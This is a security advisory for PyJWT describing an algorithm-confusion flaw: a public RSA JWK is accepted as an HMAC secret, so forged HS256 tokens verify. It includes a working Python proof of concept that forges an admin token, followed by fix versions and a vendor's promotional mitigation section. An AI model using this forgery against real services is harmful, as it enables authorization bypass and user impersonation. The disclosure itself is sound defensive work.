GHSA-xgmm-8j9v-c9wx
HIGHPyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
Blast Radius
pyjwtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyjwt | all versions | 2.13.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyjwt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pyjwt to 2.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgmm-8j9v-c9wx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xgmm-8j9v-c9wx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xgmm-8j9v-c9wx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xgmm-8j9v-c9wx in your dependencies?
O3 detects GHSA-xgmm-8j9v-c9wx across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.